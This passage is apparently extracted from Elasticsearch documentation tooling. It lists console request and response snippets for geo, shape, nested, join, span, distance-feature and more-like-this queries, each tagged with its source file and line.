{"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":191},"digest":"d4a6ce46f4ce173565c861ccbb49b4ff","lang":"console-result","found":[],"source":"{\n \"took\" : 1,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 3,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"grouped\" : {\n \"buckets\" : [\n {\n \"key\" : \"6/32/21\",\n \"doc_count\" : 2\n },\n {\n \"key\" : \"6/32/22\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":232},"digest":"af7c5add165b005aefb552d79130fed6","lang":"console","found":[],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"geo_grid\" :{\n \"location\" : {\n \"geotile\" : \"6/32/22\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":247},"digest":"8492410d095ff743c9cabe57ea5f5da2","lang":"console-result","found":[],"source":"{\n \"took\" : 1,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my_locations\",\n \"_id\" : \"3\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"location\" : \"POINT(2.336389 48.861111)\",\n \"city\" : \"Paris\",\n \"name\" : \"Musée du Louvre\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":287},"digest":"cdc38c98320a0df705ec8d173c725375","lang":"console","found":[],"source":"GET /my_locations/_search\n{\n \"size\" : 0,\n \"aggs\" : {\n \"grouped\" : {\n \"geohex_grid\" : {\n \"field\" : \"location\",\n \"precision\" : 1\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":304},"digest":"c06fd3de0331a8f2a4405556ba94137e","lang":"console-result","found":[],"source":"{\n \"took\" : 2,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 3,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"grouped\" : {\n \"buckets\" : [\n {\n \"key\" : \"81197ffffffffff\",\n \"doc_count\" : 2\n },\n {\n \"key\" : \"811fbffffffffff\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":345},"digest":"375bf2c51ce6cc386f9d4d635d5e84a7","lang":"console","found":[],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"geo_grid\" :{\n \"location\" : {\n \"geohex\" : \"811fbffffffffff\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":360},"digest":"c69bbaab3d191faec5784b7c6914ec77","lang":"console-result","found":[],"source":"{\n \"took\" : 26,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my_locations\",\n \"_id\" : \"3\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"location\" : \"POINT(2.336389 48.861111)\",\n \"city\" : \"Paris\",\n \"name\" : \"Musée du Louvre\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/geo-polygon-query.asciidoc","line":12},"digest":"5e47a407b6ca29dadf6eac5ab1d71163","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_polygon\": {\n \"person.location\": {\n \"points\": [\n { \"lat\": 40, \"lon\": -70 },\n { \"lat\": 30, \"lon\": -80 },\n { \"lat\": 20, \"lon\": -90 }\n ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-polygon-query.asciidoc","line":62},"digest":"6c0acbff2df9003ccaf4350c9e2e186e","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_polygon\": {\n \"person.location\": {\n \"points\": [\n [ -70, 40 ],\n [ -80, 30 ],\n [ -90, 20 ]\n ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-polygon-query.asciidoc","line":93},"digest":"bd1e55b8cb2ca9e496e223e717d76640","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_polygon\": {\n \"person.location\": {\n \"points\": [\n \"40, -70\",\n \"30, -80\",\n \"20, -90\"\n ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-polygon-query.asciidoc","line":122},"digest":"268151ed1f0e12586e66e614b61d7981","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_polygon\": {\n \"person.location\": {\n \"points\": [\n \"drn5x1g8cu2y\",\n \"30, -80\",\n \"20, -90\"\n ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":30},"digest":"9b92266d87170e93a84f9700596d9035","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPOST /example/_doc?refresh\n{\n \"name\": \"Wind & Wetter, Berlin, Germany\",\n \"location\": {\n \"type\": \"point\",\n \"coordinates\": [ 13.400544, 52.530286 ]\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":58},"digest":"206d57bf0cb022c8229894e7753eca83","lang":"console","found":["ruby"],"source":"GET /example/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_shape\": {\n \"location\": {\n \"shape\": {\n \"type\": \"envelope\",\n \"coordinates\": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]\n },\n \"relation\": \"within\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":86},"digest":"3a64ae799cc03fadbb802794730c23da","lang":"console","found":["ruby"],"source":"PUT /example_points\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPUT /example_points/_doc/1?refresh\n{\n \"name\": \"Wind & Wetter, Berlin, Germany\",\n \"location\": [13.400544, 52.530286]\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":111},"digest":"f281ff50b2cdb67ac0ece93f1594fa95","lang":"console","found":["ruby"],"source":"GET /example_points/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_shape\": {\n \"location\": {\n \"shape\": {\n \"type\": \"envelope\",\n \"coordinates\": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]\n },\n \"relation\": \"intersects\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":137},"digest":"c5f0c8ba48f444b3e571dab524c3c1ef","lang":"console-result","found":[],"source":"{\n \"took\" : 17,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"example_points\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"name\": \"Wind & Wetter, Berlin, Germany\",\n \"location\": [13.400544, 52.530286]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":189},"digest":"1c87b5bf682bc1e8809a657529e14b07","lang":"console","found":["ruby"],"source":"PUT /shapes\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPUT /shapes/_doc/deu\n{\n \"location\": {\n \"type\": \"envelope\",\n \"coordinates\" : [[13.0, 53.0], [14.0, 52.0]]\n }\n}\n\nGET /example/_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"geo_shape\": {\n \"location\": {\n \"indexed_shape\": {\n \"index\": \"shapes\",\n \"id\": \"deu\",\n \"path\": \"location\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":262},"digest":"5e3673bcbef5731746e400c4f3fe134d","lang":"console","found":["ruby"],"source":"PUT /test/_doc/1\n{\n \"location\": [\n {\n \"coordinates\": [46.25,20.14],\n \"type\": \"point\"\n },\n {\n \"coordinates\": [47.49,19.04],\n \"type\": \"point\"\n }\n ]\n}"}, {"source_location":{"file":"query-dsl/geo-shape-query.asciidoc","line":280},"digest":"170c8a3fb81a4e93cd3034a3b5a43ac9","lang":"console","found":["ruby"],"source":"PUT /test/_doc/1\n{\n \"location\":\n {\n \"coordinates\": [[46.25,20.14],[47.49,19.04]],\n \"type\": \"multipoint\"\n }\n}"}, {"source_location":{"file":"query-dsl/shape-query.asciidoc","line":27},"digest":"cb4388b72d41c431ec9ca8255b2f65fb","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"shape\"\n }\n }\n }\n}\n\nPUT /example/_doc/1?refresh=wait_for\n{\n \"name\": \"Lucky Landing\",\n \"geometry\": {\n \"type\": \"point\",\n \"coordinates\": [ 1355.400544, 5255.530286 ]\n }\n}"}, {"source_location":{"file":"query-dsl/shape-query.asciidoc","line":54},"digest":"71e47a83f632ef159956287bbfe4ca12","lang":"console","found":[],"source":"GET /example/_search\n{\n \"query\": {\n \"shape\": {\n \"geometry\": {\n \"shape\": {\n \"type\": \"envelope\",\n \"coordinates\": [ [ 1355.0, 5355.0 ], [ 1400.0, 5200.0 ] ]\n },\n \"relation\": \"within\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/shape-query.asciidoc","line":132},"digest":"812deb6b7668c7444f3b99d843d2adc1","lang":"console","found":["ruby"],"source":"PUT /shapes\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"shape\"\n }\n }\n }\n}\n\nPUT /shapes/_doc/footprint\n{\n \"geometry\": {\n \"type\": \"envelope\",\n \"coordinates\": [ [ 1355.0, 5355.0 ], [ 1400.0, 5200.0 ] ]\n }\n}\n\nGET /example/_search\n{\n \"query\": {\n \"shape\": {\n \"geometry\": {\n \"indexed_shape\": {\n \"index\": \"shapes\",\n \"id\": \"footprint\",\n \"path\": \"geometry\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":23},"digest":"dfcc83efefaddccfe5dce0695c2266ef","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"obj1\": {\n \"type\": \"nested\"\n }\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":41},"digest":"641f75862c70e25e79d249d9e0a79f03","lang":"console","found":["python","ruby","go"],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"obj1\",\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"match\": { \"obj1.name\": \"blue\" } },\n { \"range\": { \"obj1.count\": { \"gt\": 5 } } }\n ]\n }\n },\n \"score_mode\": \"avg\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":139},"digest":"6c3f7c8601e8cc13d36eef98a5e2cb34","lang":"console","found":["python","ruby","go"],"source":"PUT /drivers\n{\n \"mappings\": {\n \"properties\": {\n \"driver\": {\n \"type\": \"nested\",\n \"properties\": {\n \"last_name\": {\n \"type\": \"text\"\n },\n \"vehicle\": {\n \"type\": \"nested\",\n \"properties\": {\n \"make\": {\n \"type\": \"text\"\n },\n \"model\": {\n \"type\": \"text\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":171},"digest":"873fbbc6ab81409058591385fd602736","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT /drivers/_doc/1\n{\n \"driver\" : {\n \"last_name\" : \"McQueen\",\n \"vehicle\" : [\n {\n \"make\" : \"Powell Motors\",\n \"model\" : \"Canyonero\"\n },\n {\n \"make\" : \"Miller-Meteor\",\n \"model\" : \"Ecto-1\"\n }\n ]\n }\n}\n\nPUT /drivers/_doc/2?refresh\n{\n \"driver\" : {\n \"last_name\" : \"Hudson\",\n \"vehicle\" : [\n {\n \"make\" : \"Mifune\",\n \"model\" : \"Mach Five\"\n },\n {\n \"make\" : \"Miller-Meteor\",\n \"model\" : \"Ecto-1\"\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":212},"digest":"711443504b69d0d296e717c716a223e2","lang":"console","found":["python","ruby","go"],"source":"GET /drivers/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"driver\",\n \"query\": {\n \"nested\": {\n \"path\": \"driver.vehicle\",\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"match\": { \"driver.vehicle.make\": \"Powell Motors\" } },\n { \"match\": { \"driver.vehicle.model\": \"Canyonero\" } }\n ]\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":240},"digest":"72fbc50004bd2882be2ca312b24cfe7d","lang":"console-result","found":[],"source":"{\n \"took\" : 5,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 3.7349272,\n \"hits\" : [\n {\n \"_index\" : \"drivers\",\n \"_id\" : \"1\",\n \"_score\" : 3.7349272,\n \"_source\" : {\n \"driver\" : {\n \"last_name\" : \"McQueen\",\n \"vehicle\" : [\n {\n \"make\" : \"Powell Motors\",\n \"model\" : \"Canyonero\"\n },\n {\n \"make\" : \"Miller-Meteor\",\n \"model\" : \"Ecto-1\"\n }\n ]\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":298},"digest":"df34c8ebaaa59a3ee0e3f28e2443bc30","lang":"console","found":["python","ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"comments\": {\n \"type\": \"nested\"\n }\n }\n }\n}\n\nPUT my-index/_doc/1?refresh\n{\n \"comments\": [\n {\n \"author\": \"kimchy\"\n }\n ]\n}\n\nPUT my-index/_doc/2?refresh\n{\n \"comments\": [\n {\n \"author\": \"kimchy\"\n },\n {\n \"author\": \"nik9000\"\n }\n ]\n}\n\nPUT my-index/_doc/3?refresh\n{\n \"comments\": [\n {\n \"author\": \"nik9000\"\n }\n ]\n}\n\nPOST my-index/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"comments\",\n \"query\": {\n \"bool\": {\n \"must_not\": [\n {\n \"term\": {\n \"comments.author\": \"nik9000\"\n }\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":365},"digest":"e39d51202913bf6d861e9e721570cdb8","lang":"console","found":["python"],"source":"{\n ...\n \"hits\" : {\n ...\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"1\",\n \"_score\" : 0.0,\n \"_source\" : {\n \"comments\" : [\n {\n \"author\" : \"kimchy\"\n }\n ]\n }\n },\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"2\",\n \"_score\" : 0.0,\n \"_source\" : {\n \"comments\" : [\n {\n \"author\" : \"kimchy\" <1>\n },\n {\n \"author\" : \"nik9000\" <2>\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":415},"digest":"2224143c45dfc83a2d10b98cd4f94bb5","lang":"console","found":["python","ruby"],"source":"POST my-index/_search\n{\n \"query\": {\n \"bool\": {\n \"must_not\": [\n {\n \"nested\": {\n \"path\": \"comments\",\n \"query\": {\n \"term\": {\n \"comments.author\": \"nik9000\"\n }\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/nested-query.asciidoc","line":442},"digest":"c06b96352e15f0161705fee0b5925776","lang":"console","found":["python"],"source":"{\n ...\n \"hits\" : {\n ...\n \"hits\" : [\n {\n \"_index\" : \"my-index\",\n \"_id\" : \"1\",\n \"_score\" : 0.0,\n \"_source\" : {\n \"comments\" : [\n {\n \"author\" : \"kimchy\"\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/has-child-query.asciidoc","line":31},"digest":"21565b72da426776e445b1a166f6e104","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my-join-field\": {\n \"type\": \"join\",\n \"relations\": {\n \"parent\": \"child\"\n }\n }\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/has-child-query.asciidoc","line":53},"digest":"020de6b6cb960a76297452725a38889f","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"has_child\": {\n \"type\": \"child\",\n \"query\": {\n \"match_all\": {}\n },\n \"max_children\": 10,\n \"min_children\": 2,\n \"score_mode\": \"min\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/has-child-query.asciidoc","line":141},"digest":"35260b615d0b5628c95d7cc814c39bd3","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"has_child\": {\n \"type\": \"child\",\n \"query\": {\n \"function_score\": {\n \"script_score\": {\n \"script\": \"_score * doc['click_count'].value\"\n }\n }\n },\n \"score_mode\": \"max\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/has-parent-query.asciidoc","line":27},"digest":"e4193867485595c9c92f909a052d2a90","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my-join-field\": {\n \"type\": \"join\",\n \"relations\": {\n \"parent\": \"child\"\n }\n },\n \"tag\": {\n \"type\": \"keyword\"\n }\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/has-parent-query.asciidoc","line":52},"digest":"bf639275d0818be04317ee5ab6075da6","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"has_parent\": {\n \"parent_type\": \"parent\",\n \"query\": {\n \"term\": {\n \"tag\": {\n \"value\": \"Elasticsearch\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/has-parent-query.asciidoc","line":122},"digest":"234cec3ead32d7ed71afbe1edfea23df","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"has_parent\": {\n \"parent_type\": \"parent\",\n \"score\": true,\n \"query\": {\n \"function_score\": {\n \"script_score\": {\n \"script\": \"_score * doc['view_count'].value\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/parent-id-query.asciidoc","line":24},"digest":"6e0b675eff7ed73c09a76a415930a486","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my-join-field\": {\n \"type\": \"join\",\n \"relations\": {\n \"my-parent\": \"my-child\"\n }\n }\n }\n }\n}\n"}, {"source_location":{"file":"query-dsl/parent-id-query.asciidoc","line":47},"digest":"c11c4d6b30e882871bf0074f407149bd","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/1?refresh\n{\n \"text\": \"This is a parent document.\",\n \"my-join-field\": \"my-parent\"\n}"}, {"source_location":{"file":"query-dsl/parent-id-query.asciidoc","line":60},"digest":"36e09bbd5896498ede0f5d37a18eae2c","lang":"console","found":[],"source":"PUT /my-index-000001/_doc/2?routing=1&refresh\n{\n \"text\": \"This is a child document.\",\n \"my-join-field\": {\n \"name\": \"my-child\",\n \"parent\": \"1\"\n }\n}"}, {"source_location":{"file":"query-dsl/parent-id-query.asciidoc","line":79},"digest":"ea29029884a5fd9a8d8830d25884bf07","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"parent_id\": {\n \"type\": \"my-child\",\n \"id\": \"1\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-all-query.asciidoc","line":11},"digest":"09d617863a103c82fb4101e6165ea7fe","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"match_all\": {}\n }\n}"}, {"source_location":{"file":"query-dsl/match-all-query.asciidoc","line":23},"digest":"3d1a0e1dc5310544d032108ae0b3f099","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match_all\": { \"boost\" : 1.2 }\n }\n}"}, {"source_location":{"file":"query-dsl/match-all-query.asciidoc","line":39},"digest":"6e000496a1fa8b57148518eaad692f35","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match_none\": {}\n }\n}"}, {"source_location":{"file":"query-dsl/span-containing-query.asciidoc","line":10},"digest":"83dd715e45a5da097123c6d10f22f8f4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_containing\": {\n \"little\": {\n \"span_term\": { \"field1\": \"foo\" }\n },\n \"big\": {\n \"span_near\": {\n \"clauses\": [\n { \"span_term\": { \"field1\": \"bar\" } },\n { \"span_term\": { \"field1\": \"baz\" } }\n ],\n \"slop\": 5,\n \"in_order\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-field-masking-query.asciidoc","line":16},"digest":"388ec2b038d3ad69378f4c2e5bc36dce","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_near\": {\n \"clauses\": [\n {\n \"span_term\": {\n \"text\": \"quick brown\"\n }\n },\n {\n \"span_field_masking\": {\n \"query\": {\n \"span_term\": {\n \"text.stems\": \"fox\" <1>\n }\n },\n \"field\": \"text\" <2>\n }\n }\n ],\n \"slop\": 5,\n \"in_order\": false\n }\n },\n \"highlight\": {\n \"require_field_match\" : false, <3>\n \"fields\": {\n \"*\": {}\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-first-query.asciidoc","line":10},"digest":"34d51c54b62e9a160c0ddacc10134bb0","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_first\": {\n \"match\": {\n \"span_term\": { \"user.id\": \"kimchy\" }\n },\n \"end\": 3\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-multi-term-query.asciidoc","line":12},"digest":"f98687271e1bec031cc34d05d8f4b60b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_multi\": {\n \"match\": {\n \"prefix\": { \"user.id\": { \"value\": \"ki\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-multi-term-query.asciidoc","line":28},"digest":"b4d1fc887e40885cdf6ac2d01487cb76","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_multi\": {\n \"match\": {\n \"prefix\": { \"user.id\": { \"value\": \"ki\", \"boost\": 1.08 } }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-near-query.asciidoc","line":12},"digest":"9216e8e544e6d193eda1f59e9160a225","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_near\": {\n \"clauses\": [\n { \"span_term\": { \"field\": \"value1\" } },\n { \"span_term\": { \"field\": \"value2\" } },\n { \"span_term\": { \"field\": \"value3\" } }\n ],\n \"slop\": 12,\n \"in_order\": false\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-not-query.asciidoc","line":13},"digest":"cd6fa7f63c93bb04824acd3a7d1f8de3","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_not\": {\n \"include\": {\n \"span_term\": { \"field1\": \"hoya\" }\n },\n \"exclude\": {\n \"span_near\": {\n \"clauses\": [\n { \"span_term\": { \"field1\": \"la\" } },\n { \"span_term\": { \"field1\": \"hoya\" } }\n ],\n \"slop\": 0,\n \"in_order\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-or-query.asciidoc","line":10},"digest":"178be73b74ba9f297429e32267084ac7","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_or\" : {\n \"clauses\" : [\n { \"span_term\" : { \"field\" : \"value1\" } },\n { \"span_term\" : { \"field\" : \"value2\" } },\n { \"span_term\" : { \"field\" : \"value3\" } }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/span-term-query.asciidoc","line":10},"digest":"e608cd0c034f6c245ea87f425e09ce2f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_term\" : { \"user.id\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"query-dsl/span-term-query.asciidoc","line":22},"digest":"e6369e7cef82d881af593d5526bf79bd","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_term\" : { \"user.id\" : { \"value\" : \"kimchy\", \"boost\" : 2.0 } }\n }\n}"}, {"source_location":{"file":"query-dsl/span-term-query.asciidoc","line":34},"digest":"9f22a0920cc763eefa233ced963d9624","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_term\" : { \"user.id\" : { \"term\" : \"kimchy\", \"boost\" : 2.0 } }\n }\n}"}, {"source_location":{"file":"query-dsl/span-within-query.asciidoc","line":11},"digest":"9ffe41322c095af1b6ea45a79b640a6f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"span_within\": {\n \"little\": {\n \"span_term\": { \"field1\": \"foo\" }\n },\n \"big\": {\n \"span_near\": {\n \"clauses\": [\n { \"span_term\": { \"field1\": \"bar\" } },\n { \"span_term\": { \"field1\": \"baz\" } }\n ],\n \"slop\": 5,\n \"in_order\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/distance-feature-query.asciidoc","line":37},"digest":"b81a7b5f5ef19553f9cd49196f31018c","lang":"console","found":["ruby"],"source":"PUT /items\n{\n \"mappings\": {\n \"properties\": {\n \"name\": {\n \"type\": \"keyword\"\n },\n \"production_date\": {\n \"type\": \"date\"\n },\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/distance-feature-query.asciidoc","line":62},"digest":"b0d3f839237fabf8cdc2221734c668ad","lang":"console","found":["ruby"],"source":"PUT /items/_doc/1?refresh\n{\n \"name\" : \"chocolate\",\n \"production_date\": \"2018-02-01\",\n \"location\": [-71.34, 41.12]\n}\n\nPUT /items/_doc/2?refresh\n{\n \"name\" : \"chocolate\",\n \"production_date\": \"2018-01-01\",\n \"location\": [-71.3, 41.15]\n}\n\n\nPUT /items/_doc/3?refresh\n{\n \"name\" : \"chocolate\",\n \"production_date\": \"2017-12-01\",\n \"location\": [-71.3, 41.12]\n}"}, {"source_location":{"file":"query-dsl/distance-feature-query.asciidoc","line":98},"digest":"1e2c5cef7a3f254c71a33865eb4d7569","lang":"console","found":["ruby"],"source":"GET /items/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match\": {\n \"name\": \"chocolate\"\n }\n },\n \"should\": {\n \"distance_feature\": {\n \"field\": \"production_date\",\n \"pivot\": \"7d\",\n \"origin\": \"now\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/distance-feature-query.asciidoc","line":127},"digest":"57a3e8d2ca64e37e90d658c4cd935399","lang":"console","found":["ruby"],"source":"GET /items/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match\": {\n \"name\": \"chocolate\"\n }\n },\n \"should\": {\n \"distance_feature\": {\n \"field\": \"location\",\n \"pivot\": \"1000m\",\n \"origin\": [-71.3, 41.15]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/mlt-query.asciidoc","line":19},"digest":"e60c2bf89fdf38187709d04dd1c55330","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"more_like_this\" : {\n \"fields\" : [\"title\", \"description\"],\n \"like\" : \"Once upon a time\",\n \"min_term_freq\" : 1,\n \"max_query_terms\" : 12\n }\n }\n}"}, {"source_location":{"file":"query-dsl/mlt-query.asciidoc","line":38},"digest":"67c3808751223eef69a57e6fd02ddf4f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"more_like_this\": {\n \"fields\": [ \"title\", \"description\" ],\n \"like\": [\n {\n \"_index\": \"imdb\",\n \"_id\": \"1\"\n },\n {\n \"_index\": \"imdb\",\n \"_id\": \"2\"\n },\n \"and potentially some more text here as well\"\n ],\n \"min_term_freq\": 1,\n \"max_query_terms\": 12\n }\n }\n}"}, {"source_location":{"file":"query-dsl/mlt-query.asciidoc","line":67},"digest":"2592e5361f7ea3b3dd1840f63d760dae","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"more_like_this\": {\n \"fields\": [ \"name.first\", \"name.last\" ],\n \"like\": [\n {\n \"_index\": \"marvel\",\n \"doc\": {\n \"name\": 